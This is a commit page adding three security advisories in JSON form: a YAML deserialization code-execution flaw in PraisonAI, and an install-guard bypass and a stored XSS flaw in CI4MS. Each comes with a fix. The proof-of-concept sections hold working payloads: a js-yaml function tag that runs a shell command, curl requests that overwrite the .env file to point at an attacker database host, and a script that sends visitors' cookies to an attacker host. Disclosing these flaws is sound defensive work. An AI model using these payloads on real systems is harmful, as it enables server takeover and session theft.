Skip to content

Commit a1dc99a

Browse files
1 parent f4e79c7 commit a1dc99a

5 files changed

Lines changed: 329 additions & 0 deletions

File tree

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-32vr-5gcf-3pw2",
4+
"modified": "2026-04-08T19:17:11Z",
5+
"published": "2026-04-08T19:17:11Z",
6+
"aliases": [
7+
"CVE-2026-39890"
8+
],
9+
"summary": "PraisonAI Vulnerable to Remote Code Execution via YAML Deserialization in Agent Definition Loading",
10+
"details": "## Summary\nThe `AgentService.loadAgentFromFile` method uses the `js-yaml` library to parse YAML files without disabling dangerous tags (such as `!!js/function` and `!!js/undefined`). This allows an attacker to craft a malicious YAML file that, when parsed, executes arbitrary JavaScript code. An attacker can exploit this vulnerability by uploading a malicious agent definition file via the API endpoint, leading to remote code execution (RCE) on the server.\n\n## Details\nThe vulnerability exists in the YAML deserialization process. The `js-yaml` library's `load` function is used without specifying a safe schema (e.g., `JSON_SCHEMA` or `DEFAULT_SAFE_SCHEMA`). This enables the parsing of JavaScript functions and other dangerous types. When a malicious YAML file containing a `!!js/function` tag is parsed, the function is evaluated, leading to arbitrary code execution.\n\nThe vulnerable code is located in `src/agents/agent.service.ts` at line 55.\n\n## PoC\nAn attacker can create a malicious agent YAML file with the following content:\n```yaml\n!!js/function >\n function(){ require('child_process').execSync('touch /tmp/pwned') }\n```\nThen, upload this file as an agent definition via the API endpoint that uses `AgentService.loadAgentFromFile`. When the agent is loaded (either during startup or via an API call that triggers loading), the payload will execute the command `touch /tmp/pwned`, demonstrating arbitrary code execution.\n\n## Impact\nThis vulnerability allows an unauthenticated attacker (if the API endpoint is unprotected) or an authenticated attacker with the ability to upload agent definitions to execute arbitrary code on the server. This can lead to complete compromise of the server, data theft, or further network penetration.\n\n## Recommended Fix\nReplace the unsafe `load` method with a safe alternative. Specifically, use the `load` method with a safe schema, such as `JSON_SCHEMA` or `DEFAULT_SAFE_SCHEMA`. For example:\n\n```typescript\nimport yaml from 'js-yaml';\nimport { JSON_SCHEMA } from 'js-yaml';\n\n// In the loadAgentFromFile method\nconst agent = yaml.load(fileContent, { schema: JSON_SCHEMA });\n```\n\nAlternatively, if the application requires only a subset of YAML features, consider using the `safeLoad` method from an older version (though note it was deprecated). The key is to avoid loading tags that can execute code.\n\nAdditionally, validate and sanitize all user input, especially file uploads. Ensure that agent definition files are only uploaded by trusted users and consider storing them in a secure location with proper access controls.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.115"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.5.114"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-32vr-5gcf-3pw2"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.115"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-502"
58+
],
59+
"severity": "CRITICAL",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-04-08T19:17:11Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8rh5-4mvx-xj7j",
4+
"modified": "2026-04-08T19:15:57Z",
5+
"published": "2026-04-08T19:15:57Z",
6+
"aliases": [
7+
"CVE-2026-39393"
8+
],
9+
"summary": "CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass",
10+
"details": "## Summary\n\nThe install route guard in ci4ms relies solely on a volatile cache check (`cache('settings')`) combined with `.env` file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the `.env` file with attacker-controlled database credentials, achieving full application takeover.\n\n## Details\n\nThe `InstallFilter::before()` method at `modules/Install/Filters/InstallFilter.php:13` implements the install guard:\n\n```php\npublic function before(RequestInterface $request, $arguments = null)\n{\n if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();\n}\n```\n\nThis requires **both** conditions — `.env` existence AND non-empty cache — to block access. The cache population happens in `app/Config/Filters.php:128-151` during the Filters constructor, which runs before route-specific filters:\n\n```php\npublic function __construct()\n{\n parent::__construct();\n if (is_file(ROOTPATH . '.env')) {\n try {\n $this->commonModel = new CommonModel();\n if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {\n $this->settings = $this->commonModel->lists('settings');\n // ... populate cache ...\n cache()->save('settings', $set, 86400); // 24h TTL\n }\n } catch (\\Throwable $e) {\n $this->settings = (object)[]; // Silently swallow ALL exceptions\n }\n }\n```\n\nWhen the database is unreachable (connection failure, timeout, maintenance), the `\\Throwable` catch at line 148-150 silently swallows the exception. The cache remains empty, and `InstallFilter::before()` sees `empty(cache('settings'))` as true, allowing the request through.\n\nThe install controller at `modules/Install/Controllers/Install.php:10-87` then processes the POST:\n\n1. The `host` parameter at line 35 is **not present in the validation rules** (`$valData`, lines 13-27) — it is written directly from `$this->request->getPost('host')` to `.env` with zero validation\n2. `copyEnvFile()` (line 70) overwrites the existing `.env` by copying from the `env` template\n3. `updateEnvSettings()` (line 70) writes attacker-controlled values including database hostname\n4. No database connection is needed — the `index()` action only performs filesystem operations\n\nAdditionally, CSRF protection is explicitly disabled for all install routes in `modules/Install/Config/InstallConfig.php:7-10`:\n\n```php\npublic $csrfExcept = [\n 'install',\n 'install/*'\n];\n```\n\nThe cache has a 24-hour TTL (`Filters.php:143`), and `cache()->delete('settings')` is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.\n\n## PoC\n\n**Prerequisites:** The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the `settings` cache has expired or been cleared.\n\n```bash\n# Step 1: Verify the install route is accessible (DB outage + cache miss)\ncurl -s -o /dev/null -w \"%{http_code}\" http://target/install\n# Expected: 200 (instead of 404)\n\n# Step 2: Overwrite .env with attacker-controlled database credentials\ncurl -X POST http://target/install \\\n -d 'baseUrl=http://target/' \\\n -d 'host=attacker-db.evil.com' \\\n -d 'dbname=ci4ms' \\\n -d 'dbusername=root' \\\n -d 'dbpassword=pass' \\\n -d 'dbdriver=MySQLi' \\\n -d 'dbpre=' \\\n -d 'dbport=3306' \\\n -d 'name=Admin' \\\n -d 'surname=Evil' \\\n -d 'username=admin' \\\n -d 'password=Evil1234!' \\\n -d 'email=evil@attacker.com' \\\n -d 'siteName=Pwned'\n# No CSRF token required (CSRF exempt for install routes)\n# .env is now overwritten with attacker's DB hostname\n\n# Step 3: Follow redirect to /install/dbsetup\n# This runs migrations on the attacker-controlled database and creates an admin account\n# The application now connects to attacker's database = full takeover\n```\n\n## Impact\n\nWhen exploited during a database outage coinciding with cache expiry:\n\n- **Full application takeover**: The `.env` file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server\n- **Credential theft**: All subsequent user logins, form submissions, and API calls send data to the attacker's database\n- **Data integrity loss**: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation\n- **Encryption key reset**: `generateEncryptionKey()` is called (line 70), invalidating all existing encrypted data and sessions\n\nThe attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.\n\n## Recommended Fix\n\nReplace the volatile cache-based install guard with a persistent filesystem lock:\n\n```php\n// modules/Install/Filters/InstallFilter.php\nclass InstallFilter implements FilterInterface\n{\n public function before(RequestInterface $request, $arguments = null)\n {\n // Use a persistent filesystem lock instead of volatile cache\n if (file_exists(WRITEPATH . 'installed.lock')) {\n return show_404();\n }\n }\n}\n```\n\nCreate the lock file at the end of successful installation in `Install::dbsetup()`:\n\n```php\n// At the end of dbsetup(), after successful migration and setup:\nfile_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));\n```\n\nAdditionally, add validation for the `host` parameter in `Install::index()`:\n\n```php\n$valData['host'] = [\n 'label' => lang('Install.databaseHost'),\n 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'\n];\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "ci4-cms-erp/ci4ms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.31.4.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.31.3.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-8rh5-4mvx-xj7j"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39393"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/ci4-cms-erp/ci4ms"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-306"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-08T19:15:57Z",
66+
"nvd_published_at": "2026-04-08T15:16:14Z"
67+
}
68+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fjpj-6qcq-6pw2",
4+
"modified": "2026-04-08T19:15:42Z",
5+
"published": "2026-04-08T19:15:42Z",
6+
"aliases": [
7+
"CVE-2026-39392"
8+
],
9+
"summary": "CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization",
10+
"details": "## Summary\n\nThe Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.\n\n## Details\n\nThe Blog module correctly applies HTMLPurifier sanitization to content fields:\n\n**`modules/Blog/Controllers/Blog.php:82`**\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n```\n\nThe Pages module omits this rule in both create and update methods:\n\n**`modules/Pages/Controllers/Pages.php:82`** (create)\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** (update)\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],\n```\n\nContent is stored directly without sanitization:\n\n**`modules/Pages/Controllers/Pages.php:111`** (create path)\n```php\n'content' => $lData['content'],\n```\n\n**`modules/Pages/Controllers/Pages.php:157`** (update path)\n```php\n'content' => $lData['content'],\n```\n\nOn the public frontend, the content is rendered as raw HTML without escaping:\n\n**`app/Views/templates/default/pages.php:32`**\n```php\n<?php echo $pageInfo->content ?>\n```\n\nNote that the same template correctly escapes the title field on line 9 using `esc($pageInfo->title)`, further confirming the content output is an oversight.\n\nThe `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.\n\n## PoC\n\n**Step 1: Create a page with XSS payload (requires admin session)**\n```bash\ncurl -X POST https://target/backend/pages/create \\\n -b 'ci_session=ADMIN_SESSION_COOKIE' \\\n -H 'Content-Type: application/x-www-form-urlencoded' \\\n -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location=\"https://attacker.example/?c=\"%2Bdocument.cookie</script>&isActive=1'\n```\n\n**Step 2: Visit the page as any unauthenticated user**\n```\nhttps://target/tr/test-xss-page\n```\n\n**Expected result:** The `<script>` tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.\n\n## Impact\n\n- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators\n- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials\n- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors\n- **Malware distribution:** Injected scripts can redirect visitors or load external payloads\n\nThe attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.\n\n## Recommended Fix\n\nAdd the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:\n\n**`modules/Pages/Controllers/Pages.php:82`** — change:\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],\n```\nto:\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** — apply the same change:\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n```\n\nAdditionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `'raw'` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "ci4-cms-erp/ci4ms"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.31.4.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.31.3.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39392"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/ci4-cms-erp/ci4ms"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-79"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-08T19:15:42Z",
66+
"nvd_published_at": "2026-04-08T15:16:14Z"
67+
}
68+
}

0 commit comments

Comments
 (0)